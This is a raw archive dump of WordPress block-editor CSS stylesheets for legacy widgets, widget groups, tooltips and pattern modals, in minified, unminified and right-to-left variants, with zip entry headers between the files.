div.components-toolbar>div+div.has-left-divider{
  margin-left:6px;
  overflow:visible;
  position:relative;
}
div.components-toolbar>div+div.has-left-divider:before{
  background-color:#ddd;
  box-sizing:initial;
  content:"";
  display:inline-block;
  height:20px;
  left:-3px;
  position:absolute;
  top:8px;
  width:1px;
}

.components-tooltip{
  background:#000;
  border-radius:2px;
  box-shadow:0 1px 2px #0000000d,0 2px 3px #0000000a,0 6px 6px #00000008,0 8px 8px #00000005;
  color:#f0f0f0;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:12px;
  line-height:1.4;
  padding:4px 8px;
  text-align:center;
  z-index:1000002;
}

.components-tooltip__shortcut{
  margin-left:8px;
}PK1Xd[֔�ggdist/widgets/style-rtl.min.cssnu�[���:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px;--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:var(--wp-block-synced-color)}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.wp-block-legacy-widget__edit-form{background:#fff;border:1px solid #1e1e1e;border-radius:2px;max-height:calc(100vh - 2px);overflow-y:scroll;padding:11px}.wp-block-legacy-widget__edit-form:not([hidden]){display:flow-root}.wp-block-legacy-widget__edit-form .wp-block-legacy-widget__edit-form-title{color:#000;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:14px;font-weight:600;margin:0 0 12px}.wp-block-legacy-widget__edit-form .widget-inside.widget-inside{border:none;box-shadow:none;display:block;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif}.wp-block-legacy-widget__edit-form .widget-inside.widget-inside p{margin:8px 0}.wp-block-legacy-widget__edit-form .widget-inside.widget-inside label{font-size:13px;line-height:2.1}.wp-block-legacy-widget__edit-form .widget-inside.widget-inside a,.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input,.wp-block-legacy-widget__edit-form .widget-inside.widget-inside label{color:#000;font-family:system-ui;font-weight:400}.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=date],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=datetime-local],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=datetime],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=email],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=month],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=number],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=password],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=search],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=tel],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=text],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=time],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=url],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=week],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside select{background-color:initial;border:1px solid #757575;border-radius:3px;box-shadow:none;box-sizing:border-box;color:#000;display:block;font-family:system-ui;font-size:13px;font-weight:400;line-height:1;margin:0;min-height:30px;padding-bottom:8px;padding-right:8px;padding-top:8px;width:100%}.wp-block-legacy-widget__edit-form .widget-inside.widget-inside select{padding-right:4px}.wp-block-legacy-widget__edit-form .widget.open,.wp-block-legacy-widget__edit-form .widget.open:focus-within{z-index:0}.wp-block-legacy-widget__edit-form.wp-block-legacy-widget__edit-form,.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview{color:#000}.wp-block-legacy-widget__edit-no-preview,.wp-block-legacy-widget__edit-preview{cursor:pointer}.wp-block-legacy-widget__edit-no-preview:hover:after,.wp-block-legacy-widget__edit-preview:hover:after{border:1px solid #949494;border-radius:2px;bottom:0;content:"";left:0;position:absolute;right:0;top:0}.wp-block-legacy-widget__edit-preview.is-offscreen{position:absolute;right:-9999px;top:0;width:100%}.wp-block-legacy-widget__edit-preview-iframe{overflow:hidden;width:100%}.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview{background:#f0f0f0;padding:8px 12px}.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview,.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview h3,.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview p{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px}.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview h3{font-size:14px;font-weight:600;margin:4px 0}.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview p{margin:4px 0}.wp-block-legacy-widget-inspector-card{padding:0 52px 16px 16px}.interface-complementary-area .wp-block-legacy-widget-inspector-card__name{font-weight:500;margin:0 0 5px}.is-selected .wp-block-legacy-widget__container{min-height:50px;padding:8px 12px}.components-popover__content .wp-block-legacy-widget__edit-form{min-width:400px}.wp-block-widget-group.has-child-selected:after{border:1px solid var(--wp-admin-theme-color);border-radius:2px;bottom:0;content:"";left:0;position:absolute;right:0;top:0}.wp-block-widget-group .widget-title{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:18px;font-weight:600}.wp-block-widget-group__placeholder .block-editor-inserter{width:100%}.is-dark-theme .wp-block-widget-group__placeholder .block-editor-button-block-appender{box-shadow:inset 0 0 0 1px #1e1e1e;color:#1e1e1e}PK1Xd[���$dddist/widgets/style.min.cssnu�[���:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px;--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:var(--wp-block-synced-color)}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.wp-block-legacy-widget__edit-form{background:#fff;border:1px solid #1e1e1e;border-radius:2px;max-height:calc(100vh - 2px);overflow-y:scroll;padding:11px}.wp-block-legacy-widget__edit-form:not([hidden]){display:flow-root}.wp-block-legacy-widget__edit-form .wp-block-legacy-widget__edit-form-title{color:#000;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:14px;font-weight:600;margin:0 0 12px}.wp-block-legacy-widget__edit-form .widget-inside.widget-inside{border:none;box-shadow:none;display:block;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif}.wp-block-legacy-widget__edit-form .widget-inside.widget-inside p{margin:8px 0}.wp-block-legacy-widget__edit-form .widget-inside.widget-inside label{font-size:13px;line-height:2.1}.wp-block-legacy-widget__edit-form .widget-inside.widget-inside a,.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input,.wp-block-legacy-widget__edit-form .widget-inside.widget-inside label{color:#000;font-family:system-ui;font-weight:400}.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=date],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=datetime-local],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=datetime],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=email],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=month],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=number],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=password],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=search],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=tel],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=text],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=time],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=url],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=week],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside select{background-color:initial;border:1px solid #757575;border-radius:3px;box-shadow:none;box-sizing:border-box;color:#000;display:block;font-family:system-ui;font-size:13px;font-weight:400;line-height:1;margin:0;min-height:30px;padding-bottom:8px;padding-left:8px;padding-top:8px;width:100%}.wp-block-legacy-widget__edit-form .widget-inside.widget-inside select{padding-left:4px}.wp-block-legacy-widget__edit-form .widget.open,.wp-block-legacy-widget__edit-form .widget.open:focus-within{z-index:0}.wp-block-legacy-widget__edit-form.wp-block-legacy-widget__edit-form,.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview{color:#000}.wp-block-legacy-widget__edit-no-preview,.wp-block-legacy-widget__edit-preview{cursor:pointer}.wp-block-legacy-widget__edit-no-preview:hover:after,.wp-block-legacy-widget__edit-preview:hover:after{border:1px solid #949494;border-radius:2px;bottom:0;content:"";left:0;position:absolute;right:0;top:0}.wp-block-legacy-widget__edit-preview.is-offscreen{left:-9999px;position:absolute;top:0;width:100%}.wp-block-legacy-widget__edit-preview-iframe{overflow:hidden;width:100%}.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview{background:#f0f0f0;padding:8px 12px}.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview,.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview h3,.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview p{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px}.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview h3{font-size:14px;font-weight:600;margin:4px 0}.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview p{margin:4px 0}.wp-block-legacy-widget-inspector-card{padding:0 16px 16px 52px}.interface-complementary-area .wp-block-legacy-widget-inspector-card__name{font-weight:500;margin:0 0 5px}.is-selected .wp-block-legacy-widget__container{min-height:50px;padding:8px 12px}.components-popover__content .wp-block-legacy-widget__edit-form{min-width:400px}.wp-block-widget-group.has-child-selected:after{border:1px solid var(--wp-admin-theme-color);border-radius:2px;bottom:0;content:"";left:0;position:absolute;right:0;top:0}.wp-block-widget-group .widget-title{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:18px;font-weight:600}.wp-block-widget-group__placeholder .block-editor-inserter{width:100%}.is-dark-theme .wp-block-widget-group__placeholder .block-editor-button-block-appender{box-shadow:inset 0 0 0 1px #1e1e1e;color:#1e1e1e}PK1Xd[�gM��dist/widgets/style-rtl.cssnu�[���:root{
  --wp-admin-theme-color:#007cba;
  --wp-admin-theme-color--rgb:0, 124, 186;
  --wp-admin-theme-color-darker-10:#006ba1;
  --wp-admin-theme-color-darker-10--rgb:0, 107, 161;
  --wp-admin-theme-color-darker-20:#005a87;
  --wp-admin-theme-color-darker-20--rgb:0, 90, 135;
  --wp-admin-border-width-focus:2px;
  --wp-block-synced-color:#7a00df;
  --wp-block-synced-color--rgb:122, 0, 223;
  --wp-bound-block-color:var(--wp-block-synced-color);
}
@media (min-resolution:192dpi){
  :root{
    --wp-admin-border-width-focus:1.5px;
  }
}

.wp-block-legacy-widget__edit-form{
  background:#fff;
  border:1px solid #1e1e1e;
  border-radius:2px;
  max-height:calc(100vh - 2px);
  overflow-y:scroll;
  padding:11px;
}
.wp-block-legacy-widget__edit-form:not([hidden]){
  display:flow-root;
}
.wp-block-legacy-widget__edit-form .wp-block-legacy-widget__edit-form-title{
  color:#000;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:14px;
  font-weight:600;
  margin:0 0 12px;
}
.wp-block-legacy-widget__edit-form .widget-inside.widget-inside{
  border:none;
  box-shadow:none;
  display:block;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
}
.wp-block-legacy-widget__edit-form .widget-inside.widget-inside p{
  margin:8px 0;
}
.wp-block-legacy-widget__edit-form .widget-inside.widget-inside label{
  font-size:13px;
  line-height:2.1;
}
.wp-block-legacy-widget__edit-form .widget-inside.widget-inside a,.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input,.wp-block-legacy-widget__edit-form .widget-inside.widget-inside label{
  color:#000;
  font-family:system-ui;
  font-weight:400;
}
.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=date],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=datetime-local],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=datetime],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=email],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=month],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=number],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=password],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=search],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=tel],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=text],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=time],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=url],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=week],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside select{
  background-color:initial;
  border:1px solid #757575;
  border-radius:3px;
  box-shadow:none;
  box-sizing:border-box;
  color:#000;
  display:block;
  font-family:system-ui;
  font-size:13px;
  font-weight:400;
  line-height:1;
  margin:0;
  min-height:30px;
  padding-bottom:8px;
  padding-right:8px;
  padding-top:8px;
  width:100%;
}
.wp-block-legacy-widget__edit-form .widget-inside.widget-inside select{
  padding-right:4px;
}
.wp-block-legacy-widget__edit-form .widget.open,.wp-block-legacy-widget__edit-form .widget.open:focus-within{
  z-index:0;
}

.wp-block-legacy-widget__edit-form.wp-block-legacy-widget__edit-form,.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview{
  color:#000;
}

.wp-block-legacy-widget__edit-no-preview,.wp-block-legacy-widget__edit-preview{
  cursor:pointer;
}
.wp-block-legacy-widget__edit-no-preview:hover:after,.wp-block-legacy-widget__edit-preview:hover:after{
  border:1px solid #949494;
  border-radius:2px;
  bottom:0;
  content:"";
  left:0;
  position:absolute;
  right:0;
  top:0;
}

.wp-block-legacy-widget__edit-preview.is-offscreen{
  position:absolute;
  right:-9999px;
  top:0;
  width:100%;
}

.wp-block-legacy-widget__edit-preview-iframe{
  overflow:hidden;
  width:100%;
}

.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview{
  background:#f0f0f0;
  padding:8px 12px;
}
.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview,.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview h3,.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview p{
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:13px;
}
.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview h3{
  font-size:14px;
  font-weight:600;
  margin:4px 0;
}
.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview p{
  margin:4px 0;
}

.wp-block-legacy-widget-inspector-card{
  padding:0 52px 16px 16px;
}

.interface-complementary-area .wp-block-legacy-widget-inspector-card__name{
  font-weight:500;
  margin:0 0 5px;
}

.is-selected .wp-block-legacy-widget__container{
  min-height:50px;
  padding:8px 12px;
}

.components-popover__content .wp-block-legacy-widget__edit-form{
  min-width:400px;
}

.wp-block-widget-group.has-child-selected:after{
  border:1px solid var(--wp-admin-theme-color);
  border-radius:2px;
  bottom:0;
  content:"";
  left:0;
  position:absolute;
  right:0;
  top:0;
}
.wp-block-widget-group .widget-title{
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:18px;
  font-weight:600;
}

.wp-block-widget-group__placeholder .block-editor-inserter{
  width:100%;
}

.is-dark-theme .wp-block-widget-group__placeholder .block-editor-button-block-appender{
  box-shadow:inset 0 0 0 1px #1e1e1e;
  color:#1e1e1e;
}PK1Xd[�{�~��dist/widgets/style.cssnu�[���:root{
  --wp-admin-theme-color:#007cba;
  --wp-admin-theme-color--rgb:0, 124, 186;
  --wp-admin-theme-color-darker-10:#006ba1;
  --wp-admin-theme-color-darker-10--rgb:0, 107, 161;
  --wp-admin-theme-color-darker-20:#005a87;
  --wp-admin-theme-color-darker-20--rgb:0, 90, 135;
  --wp-admin-border-width-focus:2px;
  --wp-block-synced-color:#7a00df;
  --wp-block-synced-color--rgb:122, 0, 223;
  --wp-bound-block-color:var(--wp-block-synced-color);
}
@media (min-resolution:192dpi){
  :root{
    --wp-admin-border-width-focus:1.5px;
  }
}

.wp-block-legacy-widget__edit-form{
  background:#fff;
  border:1px solid #1e1e1e;
  border-radius:2px;
  max-height:calc(100vh - 2px);
  overflow-y:scroll;
  padding:11px;
}
.wp-block-legacy-widget__edit-form:not([hidden]){
  display:flow-root;
}
.wp-block-legacy-widget__edit-form .wp-block-legacy-widget__edit-form-title{
  color:#000;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:14px;
  font-weight:600;
  margin:0 0 12px;
}
.wp-block-legacy-widget__edit-form .widget-inside.widget-inside{
  border:none;
  box-shadow:none;
  display:block;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
}
.wp-block-legacy-widget__edit-form .widget-inside.widget-inside p{
  margin:8px 0;
}
.wp-block-legacy-widget__edit-form .widget-inside.widget-inside label{
  font-size:13px;
  line-height:2.1;
}
.wp-block-legacy-widget__edit-form .widget-inside.widget-inside a,.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input,.wp-block-legacy-widget__edit-form .widget-inside.widget-inside label{
  color:#000;
  font-family:system-ui;
  font-weight:400;
}
.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=date],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=datetime-local],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=datetime],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=email],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=month],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=number],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=password],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=search],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=tel],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=text],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=time],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=url],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=week],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside select{
  background-color:initial;
  border:1px solid #757575;
  border-radius:3px;
  box-shadow:none;
  box-sizing:border-box;
  color:#000;
  display:block;
  font-family:system-ui;
  font-size:13px;
  font-weight:400;
  line-height:1;
  margin:0;
  min-height:30px;
  padding-bottom:8px;
  padding-left:8px;
  padding-top:8px;
  width:100%;
}
.wp-block-legacy-widget__edit-form .widget-inside.widget-inside select{
  padding-left:4px;
}
.wp-block-legacy-widget__edit-form .widget.open,.wp-block-legacy-widget__edit-form .widget.open:focus-within{
  z-index:0;
}

.wp-block-legacy-widget__edit-form.wp-block-legacy-widget__edit-form,.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview{
  color:#000;
}

.wp-block-legacy-widget__edit-no-preview,.wp-block-legacy-widget__edit-preview{
  cursor:pointer;
}
.wp-block-legacy-widget__edit-no-preview:hover:after,.wp-block-legacy-widget__edit-preview:hover:after{
  border:1px solid #949494;
  border-radius:2px;
  bottom:0;
  content:"";
  left:0;
  position:absolute;
  right:0;
  top:0;
}

.wp-block-legacy-widget__edit-preview.is-offscreen{
  left:-9999px;
  position:absolute;
  top:0;
  width:100%;
}

.wp-block-legacy-widget__edit-preview-iframe{
  overflow:hidden;
  width:100%;
}

.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview{
  background:#f0f0f0;
  padding:8px 12px;
}
.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview,.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview h3,.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview p{
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:13px;
}
.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview h3{
  font-size:14px;
  font-weight:600;
  margin:4px 0;
}
.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview p{
  margin:4px 0;
}

.wp-block-legacy-widget-inspector-card{
  padding:0 16px 16px 52px;
}

.interface-complementary-area .wp-block-legacy-widget-inspector-card__name{
  font-weight:500;
  margin:0 0 5px;
}

.is-selected .wp-block-legacy-widget__container{
  min-height:50px;
  padding:8px 12px;
}

.components-popover__content .wp-block-legacy-widget__edit-form{
  min-width:400px;
}

.wp-block-widget-group.has-child-selected:after{
  border:1px solid var(--wp-admin-theme-color);
  border-radius:2px;
  bottom:0;
  content:"";
  left:0;
  position:absolute;
  right:0;
  top:0;
}
.wp-block-widget-group .widget-title{
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:18px;
  font-weight:600;
}

.wp-block-widget-group__placeholder .block-editor-inserter{
  width:100%;
}

.is-dark-theme .wp-block-widget-group__placeholder .block-editor-button-block-appender{
  box-shadow:inset 0 0 0 1px #1e1e1e;
  color:#1e1e1e;
}PK1Xd[V4����dist/patterns/style-rtl.min.cssnu�[���:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px;--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:var(--wp-block-synced-color)}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.patterns-menu-items__convert-modal{z-index:1000001}.patterns-menu-items__convert-modal [role=dialog]>[role=document]{width:350px}.patterns-menu-items__convert-modal .patterns-menu-items__convert-modal-categories{position:relative}.patterns-menu-items__convert-modal .components-form-token-field__suggestions-list:not(:empty){background-color:#fff;border:1px solid var(--wp-admin-theme-color);border-bottom-left-radius:2px;border-bottom-right-radius:2px;box-shadow:0 0 .5px .5px var(--wp-admin-theme-color);box-sizing:border-box;max-height:96px;min-width:auto;position:absolute;right:-1px;width:calc(100% + 2px);z-index:1}.patterns-create-modal__name-input input[type=text]{margin:0}.patterns-rename-pattern-category-modal__validation-message{color:#cc1818}@media (min-width:782px){.patterns-rename-pattern-category-modal__validation-message{width:320px}}.pattern-overrides-control__allow-overrides-button{justify-content:center;width:100%}.patterns-pattern-overrides-toolbar-indicator__popover .components-popover__content{min-width:260px;padding:16px}.patterns-pattern-overrides-toolbar-indicator .patterns-pattern-overrides-toolbar-indicator-icon.has-colors svg{fill:var(--wp-block-synced-color)}.editor-collapsible-block-toolbar .patterns-pattern-overrides-toolbar-indicator{height:32px}PK1Xd[k����dist/patterns/style.min.cssnu�[���:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px;--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:var(--wp-block-synced-color)}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.patterns-menu-items__convert-modal{z-index:1000001}.patterns-menu-items__convert-modal [role=dialog]>[role=document]{width:350px}.patterns-menu-items__convert-modal .patterns-menu-items__convert-modal-categories{position:relative}.patterns-menu-items__convert-modal .components-form-token-field__suggestions-list:not(:empty){background-color:#fff;border:1px solid var(--wp-admin-theme-color);border-bottom-left-radius:2px;border-bottom-right-radius:2px;box-shadow:0 0 .5px .5px var(--wp-admin-theme-color);box-sizing:border-box;left:-1px;max-height:96px;min-width:auto;position:absolute;width:calc(100% + 2px);z-index:1}.patterns-create-modal__name-input input[type=text]{margin:0}.patterns-rename-pattern-category-modal__validation-message{color:#cc1818}@media (min-width:782px){.patterns-rename-pattern-category-modal__validation-message{width:320px}}.pattern-overrides-control__allow-overrides-button{justify-content:center;width:100%}.patterns-pattern-overrides-toolbar-indicator__popover .components-popover__content{min-width:260px;padding:16px}.patterns-pattern-overrides-toolbar-indicator .patterns-pattern-overrides-toolbar-indicator-icon.has-colors svg{fill:var(--wp-block-synced-color)}.editor-collapsible-block-toolbar .patterns-pattern-overrides-toolbar-indicator{height:32px}PK1Xd[�U��dist/patterns/style-rtl.cssnu�[���:root{
  --wp-admin-theme-color:#007cba;
  --wp-admin-theme-color--rgb:0, 124, 186;
  --wp-admin-theme-color-darker-10:#006ba1;
  --wp-admin-theme-color-darker-10--rgb:0, 107, 161;
  --wp-admin-theme-color-darker-20:#005a87;
  --wp-admin-theme-color-darker-20--rgb:0, 90, 135;
  --wp-admin-border-width-focus:2px;
  --wp-block-synced-color:#7a00df;
  --wp-block-synced-color--rgb:122, 0, 223;
  --wp-bound-block-color:var(--wp-block-synced-color);
}
@media (min-resolution:192dpi){
  :root{
    --wp-admin-border-width-focus:1.5px;
  }
}

.patterns-menu-items__convert-modal{
  z-index:1000001;
}
.patterns-menu-items__convert-modal [role=dialog]>[role=document]{
  width:350px;
}
.patterns-menu-items__convert-modal .patterns-menu-items__convert-modal-categories{
  position:relative;
}
.patterns-menu-items__convert-modal .components-form-token-field__suggestions-list:not(:empty){
  background-color:#fff;
  border:1px solid var(--wp-admin-theme-color);
  border-bottom-left-radius:2px;
  border-bottom-right-radius:2px;
  box-shadow:0 0 .5px .5px var(--wp-admin-theme-color);
  box-sizing:border-box;
  max-height:96px;
  min-width:auto;
  position:absolute;
  right:-1px;
  width:calc(100% + 2px);
  z-index:1;
}

.patterns-create-modal__name-input input[type=text]{
  margin:0;
}

.patterns-rename-pattern-category-modal__validation-message{
  color:#cc1818;
}
@media (min-width:782px){
  .patterns-rename-pattern-category-modal__validation-message{
    width:320px;
  }
}

.pattern-overrides-control__allow-overrides-button{
  justify-content:center;
  width:100%;
}

.patterns-pattern-overrides-toolbar-indicator__popover .components-popover__content{
  min-width:260px;
  padding:16px;
}

.patterns-pattern-overrides-toolbar-indicator .patterns-pattern-overrides-toolbar-indicator-icon.has-colors svg{
  fill:var(--wp-block-synced-color);
}

.editor-collapsible-block-toolbar .patterns-pattern-overrides-toolbar-indicator{
  height:32px;
}PK1Xd[��J��dist/patterns/style.cssnu�[���:root{
  --wp-admin-theme-color:#007cba;
  --wp-admin-theme-color--rgb:0, 124, 186;
  --wp-admin-theme-color-darker-10:#006ba1;
  --wp-admin-theme-color-darker-10--rgb:0, 107, 161;
  --wp-admin-theme-color-darker-20:#005a87;
